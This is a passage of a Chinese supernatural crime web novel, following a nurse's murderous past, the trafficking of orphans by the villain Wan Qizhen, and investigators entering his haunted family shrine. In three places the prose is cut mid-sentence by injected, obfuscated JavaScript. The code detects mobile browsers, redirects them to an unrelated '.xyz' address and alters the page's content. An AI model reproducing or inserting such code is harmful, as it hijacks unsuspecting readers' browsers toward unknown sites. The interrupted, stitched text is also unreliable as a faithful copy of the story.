她让他坐在臂弯上，二郎圈着她的脖颈，亲热地搂紧，她觉得有些喘不上气，于是抻长脖子。 郎君四十岁上下才有了二郎这么一个孩子，娘子产子后不到一个月便撒手离去，郎君叫了她和莲子过去，莲子奶孩子，她则做保姆。 二郎那时就会笑盈盈看她，她心生怜爱，竟是热泪盈眶。 她抱着二郎在早春的长廊里走着，嫩绿的春光如芳草萌生的芽，柳枝系几缕春魂顺着风流漫溯。 衣袖鼓起，发丝迷了眼睛，柳潮分开两边，她新婚三月即狠心舍她而去的丈夫脑袋吊在背上，眉毛滴着水，说他有些冷了，要换衣裳。 再往前走，廊外是一树梨花，开得那样早，开得那样急，花堆成云般的雪，千万朵累在枝头。她抬头望，看见爱穿洒花裙的莲子的裙与脚，与繁花一起随风摇曳。 两三瓣梨花落在她肩上，刹那消融。 二郎手将她脖子束得又细一圈，声音稚嫩吟诵："新颅白首凿霜花，风吹铁骨磨玉沙。” 听不太懂，但她依旧欢喜，低头夸奖二郎，看见他咧嘴撕开天真烂漫的笑，低矮的牙床上隐伏着几颗乳牙，如同淡红唇墙后萧条苍老的残垣，垣中困着一个小人，在漫长地尖叫。 她吓的肉跳，再想细看时二郎从她的怀中脱出，一眨眼跑远了。 这下更是失措，拔腿去追，长廊颠三倒四不住晃动，深浅浓淡混成梭上的丝线。 她气喘吁吁停下来，抬手擦汗，擦了一空，手试探着点点往下，摸到歪斜的头颅和似扎紧的口袋般的脖子。 她双手扶稳脸颊，跑着去追，终于追上二郎，把他夹在腋下冲到郎君屋中，不管脖子可怜兮兮拎着头，嘴对着起伏如涛的胸膛大喊："郎君！郎君你快看看！二郎牙上长人了！" 郎君穿着中衣从帐中钻出，莲子绞着绿漪波动的纱帐，偎在半张粉雪脸旁，脖上轻牵一段朱红潋滟的丝绳，耸起的肩头浑如雪果般软绵绵吸饱了水。 她眼睛瞪大，郎君一把扯上帘子，来看二郎的牙。 他左右看看，笑道："什么人？你真是眼花了，只是一条蛆罢了。"说罢从袖中掏出乌金挑牙，哄着二郎张嘴，反手一剜，将二郎牙上的小人剔下一甩，摔死在地。 她着实担忧，蹲下扳正二郎的脸瞧了又瞧，二郎掏空的牙洞里涌出血来，流满了下巴，淅沥沥敲着金项圈，如悦耳泉鸣。 神仙保佑神仙保佑，她松了一口气，连抚胸脯。 二郎敛起青衫袖拭去唇畔流血："春音，我饿了。" 她有些恍惚，好像听见是叫自己的名字，目光陷进他的脸，白皙如同皓月当空照在雪上，是一片虚无。 二郎扯破这片虚无，殷红的嘴唇张开，发出许多声音："谷婆婆，我饿了。" 谷婆子茫然醒来，坐起时脑门碰到飘动的东西，以为是莲子高悬的裙摆，吓得差点上地府报道，往后一抖身子，才看清不过是挂起的床帘。 在床沿上痴坐数刻，她撑住腿，滞碍干涩的膝盖嘎吱兑拢，摇摇晃晃带着她走出小院。 熟练地在厨房弄上一碗饭菜，迎着风往外走，白发如练参差纠缠着不肯沉寂。 还差几步就快到后门了，应有几个小小的影子立在河沿，她摇晃的更快，似谁人手中的簸箕。 "谷婆婆，夜里凉，怎么不多添件衣裳。" "二郎，你还没歇？"她蹉跎数步转身，朝着来时的路走去，头发朝前群魔乱舞，怎如对面人翩然临风、长身玉立、鬓眉青青、衣比月白。 二郎卸去衣紫腰黄，人如暮春，寥落时风姿更长余味。 谷婆子一辈子最得意便是养大这样一个孩子，看他年少一举登科春风得意，看半生顺遂无病无灾，最可喜的是他子嗣不似郎君那般艰难，有两子两女，都聪慧可爱。 门外两声狗吠，她似被提醒，前倾后摆停下脚步："二郎，我又梦见我家早死那口子了，给他弄点吃的。你早早回去歇着吧，灯点的再亮，也别读书到半夜，当心熬坏眼睛。" 月光泻在地上，雪亮亮宛如新骨，他目光随着夜风，看银霜的尽头："我最近总是梦见莲姨。你说她是不是仍怨着我们，徘徊于世间，不肯离去？" 她回身一半，被掰直了背，停滞许多个呼吸，又迟迟伛偻下去。 回肠九转，心扉痛彻。 莲子该死，莲子该死，嘴里念叨，心里念叨，念叨了三十余年才忘记她如何该死。 她不得不再想起来，她气不过郎君同莲子日日厮混，竟连二郎诗书都不考校了。脸上喜笑，转头恶恨，背阴处说三道四，不敢编排郎君，就另造了十好几个男人。 春风一吹，桃色开遍，郎君将莲子痛打一顿赶出府去，她终于解恨。 夜间二郎用功念书，不再有莲子靡靡的歌声，她守在屋外绣花，人静时分二郎背手出来，从身后拿出一沓草纸递给她，说希望莲姨好自为之。 她不识字，展开纸，中间夹着一痕碧绿，有些犹豫，抬头看见二郎已坐回桌案后，在灯下翻书。 蹑起手脚溜出府来到莲子家门前，披着夜色鬼祟如贼，又要顾盼左右，又要刷浆贴纸，争分夺秒，恨不得多长只手捏住口鼻。 树影扇动，只听心鼓雷雷。 那夜月亮瘦瘦窄窄一捻，如杯中弓影，如莲子凭栏弯月而坐，蛇般无骨、蜂般纤弱的腰。 她不假思索，捡根树枝叉起绿莹莹、轻悠悠的亵衣，挂在莲子家的门头。 听说莲子被她那窝囊废丈夫赶出家门，已经懂事的孩子被叫了几天小王八，在家中寻死觅活。 还是二郎有手腕，她窃喜，不知长大后能多有出息。深夜，她还是守在屋外，陪二郎读书，莲子不知从哪溜进来，如索命厉鬼同她扭打在一处。 莲子那样娇媚的人，怎能是她的对手，被按在地上疯狗般叫骂。她死命捂住莲子的嘴，任其如何癫狂，任其瘫软成泥。 她跌坐在地，做苍蝇手脚并用满地乱爬，晕头转向找不到从哪里逃走。 "别怕，谷婆婆。想想你把男人推下井时的狠辣，那时不怕，现在也不必怕。" 汗津津的脸有些麻木，她狗趴着，冷汗汇到颏尖滴落。 有时自以为的绝密也有瑕疵。那是二郎出生之前的事了，若不是长舌妇嚼舌根，他绝不会知道。 他声音比亘古的月还隽永，缓缓流淌，来到她身畔："去年病死那个婆子同我说过，那个男人死的那夜，只有你进过偏园。他好可怜，倒栽在井里，颈骨都摔断了，夏日连着几场暴雨，被泡成恶臭的猪。可他可憎，你没有错，像他那样奸/□□嫁的人不配活着，像莲姨这样庸俗的物件也不该再摆在这了。我懂你想教他死，正如你会懂我。" 二郎说的对，莲子把一个髫年孩童逼成这样，是该死。她爬起来，二郎让她背起莲子走小路去厨房，他护着一盏孤灯在前飘行。 那时的厨房外还有一颗粗壮的梨树，将绳子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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门外狗又在叫，数声后狂风大作，门轰然洞开，二郎眼梢一闪，袖间滑出刀光。 "万奇珍，杀人偿命，你气数已尽了！" 有童声大喝，他压不住脸一紧，右眼自张自合惊如电闪，刀刃不慎将手指划破。停顿一笑的时间，刀尖收敛入袖，可他双眸持着杀人的利刃，拿捏分寸偏头、斜眼、回眸。 只见风卷半丈高，卖力招展以壮声势，一只大狗作秀转身，它背上跳下一个红衣小人。 门外鬼影游荡，无法进门，但小人提脚跨过门槛，双手捏拳，铁骨铮铮。 谷婆子紧张万分地护着他，万奇珍忽觉兴味盎然，想看小娃娃能耍些什么招式。小人步履沉着，身后有恶犬相护，伴着门外阴风阵阵，有点瘆人。 小人住脚，指着他的鼻子："万二郎，你猜我几岁？" 万奇珍一怔，大笑，眼泪纷飞。 小人陪着哼哼冷笑，拔出别在腰后的葫芦，眨眼吸走谷婆子，掉头身影一闪转瞬已到门外："你真是找死不挑日子，记住，姑奶奶我十一岁！" 他看门外风静，唇角凝滞，似笑非笑，似怒非怒，徐徐张口："倒是只不自量力的蚍蜉。" 语罢不急不躁抽出短刀割下一缕头发，青丝化为黑气消散，一只鬼蝶翩翩翻飞着越过墙头，融化在夜色中。 新事物教他心生好奇，身后脚步声却令他厌烦，一步还没落地一步又迈出去，他分明说过在万府做事要讲究风仪，不可粗言烂语，不可急色奔走。 不想许这蠢货靠近，冷声道："何事？" 管家钉在原地，知道主人万分不悦，静静喘匀了气才敢说话："郎君，麟城府萧参军求见。" "一个参军也值得你喘气，"万奇珍讥讽，"是常拓英来了吧？" 管家讷讷称是，思虑再三小声提醒："郎君，我观来人中似乎不止麟城府差役，还有禁军中人……" 万奇珍脸色有些难看，但仍笑声悦耳："有趣、有趣。稻秆街的火烧的够快，既然烧到家门前了，怎么能不见火光？" 14. 瓮（十） 洪垣有双得天独厚的眼睛，眼皮像捻动后半开的扇，挑起的眼尾拉长了若有似无的笑，有了这一分笑，睨着瞧人时才显得格外刻薄恶毒。 她只用红带束着头发，穿一件赭白榴心外衫，系梅子青色的腰上黄，上头飞了蜜色燕子纹，没衬什么钗环首饰，往那一坐，有点像查账的东家娘子。 庞婆子记性不错，手随便拨两下就把丘无玷的名字找到，进出时间都记录在册，领他走的人叫什么柳溪李二发，怎么看都像编的名字。 她叫庞婆子拿张纸把这行誊抄下来，偷看一眼手心，让她找下一个名字。 庞婆子嘀咕，怎么尽找些被外地人领走的，连找三个，还都是三月初一走的，到了第四个，依然，心里生出一些怪味，皱眉连连回忆，这些孩子走时总有事要许多人外出，每每点人头时院公才姗姗来迟地说有好心人领走了一个。 他不会把孩子卖了吧？庞婆子刚生出这念头就吓自己一跳。 她瞧瞧黄好，瞧瞧洪垣，咽了磅礴的闲话继续翻找，抄到第六个三月初一时，她确信这里边有大事，第十个时已是义愤填膺就想好好问问老黄耗子他还是不是人。 庞婆子气得要死，脑子只会冒烟不会转弯，又抄了"柳溪李二发"一遍时以为自己老糊涂了，抄岔了行，移眼核对，名册上领养一行切切实实写着柳溪李二发。 她有些无措，拿着名册"这、这、这"，一时想不出递给谁评评理。 陆班头走过来，抽走花名册，递到洪垣手中。 她不必再看，方才一笔一画都曾盯着瞧过：“今年三月初一，可有领走谁？” 庞婆子左右瞧瞧，无人敢答，自告奋勇开口：“领走了阿浑。” 洪垣转头眼神飘向黄好，老耗子面色如土，听到"丘"字时已知道自己完了，此时他倒真情愿做只耗子，快快打洞逃命。 "该说你什么好呢老黄耗子，你连编名字都不愿动动脑子，真以为万奇珍能逍遥一辈子？"洪垣站起，"你猜为何是我留在这里？你再猜萧参军去哪了？" 黄好眼睛滴溜溜乱转，都被她看在眼里。 她发笑："你是不是觉得万奇珍有权有势，一个小小参军又能奈他何？你可知萧参军他父亲是谁，他做参军前在何处任职？麟城里可不是独他姓万的敢横着走，我可以说给你听。他父亲乃是陈州刺史，出自禁军南校事府，萧参军本人十六岁由圣人钦旨点为射生使，两年后改任南校事府郎将，那是圣人亲信，前途无量。" 满屋人被她唬得发愣，只有陆班头是昂首挺胸扬眉吐气了，天呐，他都不知道他们参军那么好。 再想想，参军的爹什么时候跑陈州去，他好像前天刚见过。 他心虚看向洪垣，她说大话不会脸红，煞有介事道："你是该死，但也别以为能一死了之。我家祖宗城隍爷忠义公已收了诉状，不然你以为那些名字我从何知晓？万奇珍能耐再大，还能管得了阴间的事？" 黄好将信将疑纳下头，慌到极点反而心死，连汗都不流了。 洪垣忽然转身，对着众人疾言厉色："你们这些恶贼！做了亏心事，欠下十几条人命，早已上了判官的账簿，扯上了阴间官司，此时不想着实话实话赎些罪孽，难道都要等着死了再去受苦！" 胆子小的被她一吓，已是连小时候拔过几根鸡毛都交代清楚了，庞婆子更是眼神闪躲，支支吾吾。 "庞婆子！"洪垣大喊一声，庞婆子两脚一蹬，好险没当场翻了白眼。 她腿一软跪在地上，双手合十抵在胸前告饶："洪娘子，洪娘子！老婆子我也不是故意撒谎的，我只怕惹上官司，若这慈幼院关门了，我一个孤老婆子可没地方容身了！" 洪垣瞥着她，她咽了咽口水，开口说了实话。 庞婆子是头一个发现起火的，她睡前想去一趟茅房，去时看见黄好屋中隐约有火光，她并不在意，可等浑身通畅再回转时，那屋中已是火光冲天。 她大呼小叫走水了，也是没想太多，踹开门冲进屋，见小大、小二被火烟熏昏过去，黄好不知是被什么东西压住了腿，边费力往外爬边骂她这老虔婆快过来拉一把。 庞婆子才不受这个气，啐上一口，一左一右夹起两个娃娃转身出去，在屋外叉着腰生了一眨眼的气，还是硬着头皮冒险进屋。 此时火已烧到黄好下半身，他再怎么嘴巴欠鞋底子抽到底也是条人命，庞婆子使出吃奶的劲儿将他往外拖。两个杂役趿了鞋赶到，三人合力才把人救出险地。 她刚吸口气到肚子里撑起腰杆，看见屋里地上似乎还蜷着两个小的，火势太大，眼睛又被熏得疼痛流泪，连眨眼的功夫也没，她拍着腿尖叫："还有两个！还有两个！" 想再拼上命冲进去，被杂役七手八脚地架回来，房梁横空掉落，屋子就要塌了。 庞婆子坐地上大哭，这回真是老泪纵横了："三儿啊四儿啊，老婆子不是有意的！" 她嗓门本就震天，放声一嚎，洪垣头都晕了，恍了一下问道："那两个昏过去的醒了没有？" "已醒了一个。"有乳母答道。 洪垣挥手，示意将人带来，反手摇庞婆子的肩："别哭了庞婆婆，城隍爷说你救人性命做了好事，能长命百岁呢。" 庞婆子又哭又笑，哎呦叫唤："还是少活两年吧。" 等庞婆子收了眼泪，乳母也把孩子带进门来，洪垣一看，险以为这女孩被丘无玷鬼上身，性别、身量、眉眼无一相似，但是只一眼就教人火大。 又是个人小鬼大、流里流气的娃娃。 这都跟谁学的？ 目光移到抱着女孩上下摩挲、问东问西的庞婆子身上，有点像，但又不完全像。 到底庞婆子与这些孩子朝夕相伴，拉着女孩苦口婆心："小大，你怎么又犯倔呢？你快说话，你说实话。三儿和四儿都没了，你可要给他们报仇啊！" 小大浑身一凛，越过庞婆子的肩，瞳仁映着兀立的烛苗，那雪亮的火对准洪垣，从恨极变为不善。 有了丘无玷的前车之鉴，洪垣觉得他俩品味相似，小大准能欣赏自己。 她问道："你今年几岁了？" 庞婆子想也不想就抢着回答："七岁。" 小大见洪垣盯着自己，看出些端倪，知道她是要自己开口，便重复道："七岁。" “柳蟾儿、何大应、梅子雨你都认识？” 小大皱眉：“你要干嘛？” 庞婆子推搡两下她的肩，她赌气似的偏头不再言语。 “你得问自己，你要干嘛？”洪垣反问，“是闭上嘴巴自保，还是为他们报仇。” 这是个有主意的女孩，做起决定来也干脆豪爽：“自然要报仇雪恨！” “好！我问你答。”洪垣拍案而起，“今夜为何起火？” 小大抬眼，目光如炬。 草儿一样的孩子早懂事，长在慈幼院这个地方更要快快长些心眼。 心眼多的孩子负责传承秘密，如同学问高的先生传道授业解惑。他们首先要接受的命运便是自己或许会在一年后死去。 要自救，也有救别人。 命运代代相传，秘密层层叠加，勇气如同小小石子汇聚网中，想要撬动杆杠也令自己坠入深渊。 每年三月初一，蓝衣男人在小窗后挑拣，他偏爱干净体面、做事周全的人，于是每年只有一两个合他心意的。 男人把心仪的装箱带走，箱笼的缝隙间露出告别的十指和亮晶晶的眼睛。夜里院公便偷偷书写小册，这本册子他藏得很紧，想也知道有多致命。 想要得到这本册子，屡屡失败，一晃眼到了今年年初，阿苹便是这时从天而降。 她是真的从天上来的，打隔壁二楼纵身一跃跳进院里，再一翻身已扑进厨房偷饼吃。在厨房放哨的小大提起菜刀顶住她的背，将手中石子扔出窗外。 突发意外，今夜行动作罢。 阿苹十七八岁，衣衫又脏又破，像个乞儿。她说自己七八岁时被后娘打出家门，从此流落江湖行乞为生，后来被人骗去做妾，好不容易逃了出来。 只是天地之大，不知去处。路过麟城时她已饿了数日，见这个院子里都是小孩，应不会被发现，才来偷东西吃。 小大一遍遍上下打量她，奇怪她如何眨眼睛就能从隔壁飞身到厨房中。 她言辞轻蔑："在江湖上讨生活，谁没点手段？我为侠盗，遇上为富不仁的，就将他偷得哭爹喊娘。" 阿浑兴奋异常 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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阿浑被她揪着耳朵问到痴傻，小大气不过，一脚踹在阿苹腿肚子上，让她不乐意就别去，不必拿人撒火。 阿苹错开眼看她，脸被一端眉角扯歪，瞳仁缩的像锥，小大连退几步，如同见鬼，心都被吓到贴墙。 那张鬼面旋踵一变成了哭脸，她含着泪哽咽："我真的着急，我心疼你们。" 阿浑与她相拥哭泣，小大只觉得一阵阵莫名发冷。 在这浑噩中，阿浑去了，小二没被挑中。像被圈养的牲畜，哪日主人家要开荤就挑只顺眼的宰杀，小大灰心了，想不到成人那天。 其实她是一个女孩，不必担忧自己被放到案板上，主人家只要男孩，可她性如水火、嫉恶如仇。阿苹跟着车去，夜半回来，说着要将阿浑救出来，于是筹谋多日，把万府踩了个明明白白。 三月初六，阿苹挥手告别。 她一去未归，再回来时飘在一张认尸告示上，她的脸实在普通，只有眼睛，像狐狸。 院公说麟城中如今多事，应紧锁院门，不惹是非，但他的不安写在脸上。他一定反复权衡，反复较量，终于在今夜点火烧毁自己多年的依仗。 小二自阿浑走后痛哭一场，不再掉泪，每日孜孜不倦紧盯院公。三儿和四儿觉得好玩，也跟在他屁股后边。 事发太快，似松针引火，眨眼窜上天。 小大只记得三儿踮脚摸到她枕头边，说院公在烧东西，她翻身下地，夺门而出，掠过影子与月光组成的无数黑白。小二扑在火盆上，院公险要将他的头扯断，小大连忙上去扣院公眼睛。 没人敢出声，三个人扭做一团乱麻，后边变成五个，三儿、四儿只知抱着院公双腿，连牙也用上。不知什么时候火盆倾覆，火星燃着床幔，火焰如雨飘落，落在打翻的灯油和残酒上。 经风一吹，门砰地砸上，火舌席卷飞扬。 小二吸了几口烟倒在地上，小大顾不上许多，拖着他往门口去，咳嗽不止的嘴里拼凑出三儿四儿快走。 他们仍抱着院公的双腿，恍若未闻。 火悄然爬上。 她想撕心裂肺地叫三儿和四儿，眼睛流了许多泪，无法睁开。 小大的眼睛好像被熏坏了，忘记了怎么哭，她很平静，望着院公。 黄好只会乱叫，反复痛斥她胡说。 他嚎叫着，仵作走到洪垣身侧禀报："洪麟使，在一具尸体口中发现纸团，打开后共有三张。" 洪垣用竹镊夹起边缘被火燎黄的纸片，付之一哂："黄耗子，其实你的字不错。" 他气断了一瞬，又嚎啕："万奇珍！万奇珍！老子真是被你害惨了！" 15. 瓮（十一） 万奇珍下狱一事，也算是震动朝堂了。 若无真凭实据自有万种说法，偏生众目睽睽之下，万府家祠中抬出一具，任谁也抵赖不得。圣人没有发话，万家人倒像麦穗着了大风，一个个称病不朝，被圣人下诏连番申饬，这才不得不顶风出门。 其中单单万文珍一人，圣人着太医为他诊病，多次遣人嘘寒问暖询问病情。 更是教人心生疑窦、惴惴不安。 庙堂有庙堂的戏唱，江湖也有江湖的戏要唱。 当夜一段故事经说书人街口茶楼一传扬，事情新鲜，人人爱听。洪垣听人家把自己吹得天花乱坠，乐得合不拢嘴，转头再和说书的分钱，更是找不着东西南北。 那晚她与灯姑聚头，就地粗略审了谷婆子便直奔万府而去。不出所料，万府的门不是那么好登的，管事的明里暗里都是怠慢。她一来到，雪中送炭，奉上三张残页。 虽已残缺不全，却能读出是三次万奇珍上门带走孤儿的经过，黄院公为了求财保命写得详尽，指名道姓，连万奇珍衣冠式样都记录在册。 麟城府尹常拓英年逾花甲，身材枯小，留着及腹的白须，乐呵呵没一点架子。 可麟城府尹品秩从三，权掌京畿，常拓英在此位置上一干就是二十年，又岂是泛泛之辈？ 有了真凭实据在手，嘴且笑着，双眼锐气脱鞘而出。 一口咬定此三人纵火焚烧慈幼院，要万府交出人来，有管事的胆敢同他呛声，被拖下去一顿好打。常拓英满面疼惜地叫着打轻点，但喊停是万万没有的。 只消十棍子，不懂他的人就会知道他的秉性。 他可不是个慈眉善目的老头。 可惜今夜万文珍万侍中仍在门下省理政，不在家中，否则从三品对上正三品，不知谁更胜一筹。 余下几个管事的已将见风使舵修炼到极境，一边派人再去通报主人，一边将家中仆役尽数驱赶至前院，想教他睁大狗眼看看有没有他要找的人。 常拓英才不跳这庸俗的坑，还没搜出什么，他们自家先做出抄家的架势，到时告他个行事鲁莽，也够他喝上一壶。 万府众多仆役将将到齐，惶惶如此起彼伏的羊群，常拓英气急指责几个管事的："怪哉！你们这是做什么！我叫你们去请万侍郎，你们何故惊扰他人？" 一顿劈头盖脸痛骂，又说既然来了，让差役随便问问。 有这位老前辈在，洪垣可没上台的份儿，斜靠着萧慧极，津津有味地偷师学艺。 又过去一柱香时间，万奇珍姗姗来迟，跨过垂花门，笑靥森森。 常拓英斜刺里一步上前，紧握他手：“万老弟，深夜叨扰，多有得罪，我不请自来，你不会置气吧？对不住，对不住——望你海涵，实在是俗事相逼，不得不来。说什么什么的，反正都是例行公事，敷衍而已。” 一堆话打得万奇珍晕头转向，眼神动荡。 他静默，耐人寻味一笑，拱手偏头："常公，你说笑了。" 常拓英拉着万奇珍道尽家长里短，从三姑妈说到二表舅，差役将仆役分作几列，分批问询。垂花门非请莫入，洪垣可不管这个，混进人堆，一眨眼已到内宅。 萧慧极走得斯文，被她一把拽没了影子。 两人之前都没到访过万府，好在官员府邸均有规制，万府唯一不同之处便是府邸从中隔开，东为万文珍家，西住万奇珍万二郎，家祠居于正中。 取道向下，一路直入万家祠堂。 万氏称得上盛州望族，前朝时就出过不少声名显赫的大人物，后稍有颓败，到如今又复起。 这地方肃静阴冷，檐下悬首两个灯笼，门头钉着一张符箓。 洪垣推门进去，烛灯百盏齐齐向上，一瞬不瞬，像窥天的眼睛，看得太久，都翻到眼眶后头去。 她心悸不止，闻到一阵阵棉线的焦臭。 顺着名字一个个点下去，在犄角旮旯里找到万籁秋的牌位，已在祠堂中细细筛过一遍的萧慧极走过来："不见有什么暗室的入口。" 洪垣拿起万籁秋的牌位，转到背面。 瓦檐垂柱、踏跺门槛，精细雕着一道宅门，门两侧各雕一个甲士。她手指着："门在这。" 其实她早该想到，万奇珍又是以符箓镇屋，又聘阴兵守门，难不成还真是因为纯孝？他要真是个大孝子，他爹活着的时候就该美名天下传了。 谷婆子告诉了她进门的方法，可她实在不想给姓万的磕头上供，眼睛一溜，瞟向萧慧极："萧参军，这是你们麟城府的案子，我呢只是从旁协助，故而不能抢了你的功。" 她从怀里抽出三根香利落塞他手里，手一摊:“请！” 有香火有牌位，连蒲团都贴心拍了灰，五岁娃娃也知道该磕头了。 萧慧极倒没不情愿，例行公事焚香举过头顶，拜上三拜，小小宅门丝丝开启，泄出青色雾气，雾气渐浓，淤成深潭般的青黑。 雾中破出一道金光，从中走出两个金甲将军，声如洪钟：“何人扰我清静？若有冤屈，速速禀来。” 洪垣与萧慧极对视一眼。 莫名其妙，这倒成了公堂了。这万奇珍究竟什么毛病。 她转头正要编些谎话，与金甲将军目光一撞，怪眼熟的，且这场景似曾相识，像是在某场梦里见过。 左边的将军盯了她片刻，紧皱的眼耳口鼻欢呼散开："小垣？你是小垣吧，这都长大了。" 他猛拍旁边一位："老李！是老洪家闺女，你记得吧？我俩扔她玩儿的时候，还把她摔地上了。" 萧慧极咳了咳，差点笑出声来。 洪垣打他一拳，又摸摸头，脑子里冒出两个很不可置信的名字："潘叔？李叔？" 她潘叔、李叔死了得有十年了，生前是她父亲的老上司，好端端的怎么跑到这来。她奇怪，潘李两鬼比她还奇怪："你怎么跑薤城来了？你爹呢？你娘呢？旁边这是？你成亲啦？怎么不带着孩子来坐坐？" 云里雾里，不知所云。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14811744|158421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>洪垣乱挥手："叔，叔，叔。你们胡说些什么？什么薤城，这是麟城。" 扭头瞧一眼萧慧极，不知他在骄矜什么，只好自己开口："这是刑部萧侍郎家大郎，还没成亲呢。" 不知她这意思是萧慧极还没成亲，还是她和萧慧极还没成亲。萧慧极刚松下来的脸顺势一垮，变幻莫测。 潘李两鬼"哦哦"两声，背过去拿着什么东西对了半天，转过头来说道："不对，不对，这是薤城。委任状上写得明明白白，我和你李叔刚走没半年，有个童子来接我俩，说天帝召我俩去辅佐薤城城隍，虽然路途遥远，但左右死后只有清闲，我俩就来此赴任。" 洪垣听过人能被摄心迷魂，却没见过鬼也能被迷的。 她问道："叔，你们来此多久了？" 潘李争论一番，最终定论大概一年半载。 又问他们可曾到城隍庙外看过，两鬼均答没有，他们的职责是在此守门，只是前不久城隍爷被妖物摄走，他们才离开此处前去搭救。 洪垣明白了，他们说的是从麟城城隍庙把万籁秋抢走那次。只是在他们口中，万籁秋成了城隍爷，正经城隍爷则成了妖怪，真真倒反天罡。 "潘叔，李叔，你们方死半年就来此上任，在这一年半载，那你俩想想你们走时我多大，现如今我活生生站在你们跟前，你看我如今几岁？再说了，但凡鬼怪见了城隍爷都无法近身，哪听闻有妖物能摄走城隍的？" 她一番分析，得出结论。 "你俩，不是被迷，就是被骗了。" 两鬼又背过身，窃窃私语，对了半天账，不得不信了洪垣的话。 生前多精明的人，死后被骗团团转，听了洪垣说的，才知自己已死了十年，日日夜夜在麟城万家府上给人看门。 可恨可恨！ 潘叔、李李是军中血性汉子，哪容人这样折辱，提了刀就要去找万奇珍算帐，算完他的再找他老子、老老子。 "两位，你们如今被迷了眼，如何找他寻仇？万奇珍作恶万千，我们现在需进门去搜查证据，只要拿得铁证，自然能还你们公道。” 洪垣压根拦不住，还是萧慧极出声泼瓢冷水，喊打喊杀的两鬼才蔫巴下来。 又是嘈嘈切切一阵商议，两鬼转身站定："小垣啊，叔可就指望你了。" 行，天生就是被指望的命。 洪垣爽快点头。 两鬼转身叩门，再拉门环，门徐徐开启时"砰砰"长到顶屋高。 可在洪垣和萧慧极看来，情境就恐怖多了。他俩眼见两鬼从小小宅门里抓出一缕魂魄，竟是这牌位的主人万籁秋。 魂魄胀大浮肿，及屋高。 再看神情，痴痴呆呆假人似的，任由两鬼一左一右将他肚皮撕开，他无知无觉不痛不喊，腹中漆黑一片，只有一道朱红楼梯蜿蜒向下。 那黑洞洞的深渊中，不知装着什么东西。 门开了。 竟是要到万籁秋这鬼的肚子里去。 16. 瓮（十二） 楼梯很长，洪垣已无法计算时间，萧慧极向来不出纰漏，但不知什么时候心中默数的阶数已岔了行。 方才数到了五千，或是还差那么一二个数。 一想到呆会儿折返得爬上去，洪垣唉声叹气，念念叨叨干脆住鬼肚子里得了。 但转念，万一是顺路往下出去，她宁死也决不就范。 又往下走了半个时辰，终于见底。 万鬼肚底是莽原一片，风阵阵，草海翻浪，正中拱起小丘，有一棵枯萎的柏树。洪垣腹诽，这叫暗室？也忒大了点。 最后两级台阶，她跳下去，四下踩踩，是实地。 萧慧极对于玄异之事不通一窍，不作声跟在她后头穿行过原野。登顶小丘时，两人又见到一个万籁秋，他坐在柏树下，有个白眼小童在身边侍奉。 她绕着万籁秋转了一圈，他对生人的闯入全然无知，捧着一本书，却不翻页。 再偏头看那小童，屈膝扭身，单手端着茶盘举过头顶，如铜打铁铸的案头摆件。洪垣试着张嘴呼唤："阿浑。" 小童纹丝不动。 又叫了数声，不见有一丝一毫回应，正要伸手拍他，小童眼睛骨碌一转，瞳仁翻了出来。 洪垣吓了一跳，撞在萧慧极身上，扶着他的手给自己壮了壮胆气。 "你是阿浑？" 小童眨眨眼，洪垣一时也不那么怕了，松了手将萧慧极推一边去，又问："小大让我来的，我该到哪去找你？" 两行泪滑过阿浑谄媚的笑脸，他目光右移，看向身侧的万籁秋。她扯扯老家伙，喊他名字扇他巴掌，万籁秋只一味地盯着书，若是将他拖远，他自个儿颠颠走回来把书拾起，又在树下坐着。 往返几个来回，洪垣叉着腰喘气，认命信邪了。 萧慧极从不做此类费力不讨好的体力活，看了几个来回，冷不丁道："我们方才是怎么进门的？" 自然是从万籁秋开门的肚皮走进来的。 早先问谷婆子是如何进暗室的，她说的是牌位反摆、烧香祭拜、连进两门便到暗室，可她没说朱红楼梯，也没说这片原野。 若是所见不同，谷婆子见的是一种，她和萧慧极见的是一种，又当如何？但想来，反摆、祭拜、进门是不变的。 方才进门，打开的是—— 她目光落在万籁秋肚子上。 念头一动，手已伸到人家肚子上，怎么都撕扯不开，于是转头：“萧慧极，你就干看着？” 萧慧极终于舍得动动尊手，两人左右开弓把万籁秋扯到横挂空中也没扯开一道缝。洪垣不甘心，想是萧慧极又不肯卖力气，已是习惯性捏起嗓子：“萧郎，你没吃饭吗？” 这一招，她跟她娘学，她娘跟她外祖母学。家传渊源，百试百灵。 萧慧极果真又生闷气，将她手拍落，顺着万籁秋的肚子向上摸索，摸到下巴时手陷入其中。这脸似泥沼，牙似顽石，他扣住下排牙齿，擒稳拉至地面。 万籁秋的嘴拉长成细细的帘缝，掀开嘴角，萧慧极率先走进他口中。 口中是间暗室，仍不见装阿浑的瓮。 这暗室没有门窗，其余布置与万家祠堂一模一样，但桌上只供奉三个牌位，洪垣凑上去瞧，万奇珍把自己放在正中，亲爹万籁秋摆在斜下，再斜下是他祖父。 也是活久见，怎么有活人给自己上供的？相比之下，他将父祖放在自己之下倒显得没那么大逆不道了。 三个牌位前各有一对红烛，一支向上燃着，一支向下熄灭。洪垣细细观察，点燃一边的烛台是圆形，熄灭一边的则是方形，她开始觉得万奇珍是个疯子了。 萧慧极又是四下查过，一无所获，走到她身边，看她脸色古怪："怎么了？" 洪垣鲜少见地不言不语，拿起一对烛台将蜡烛除下。 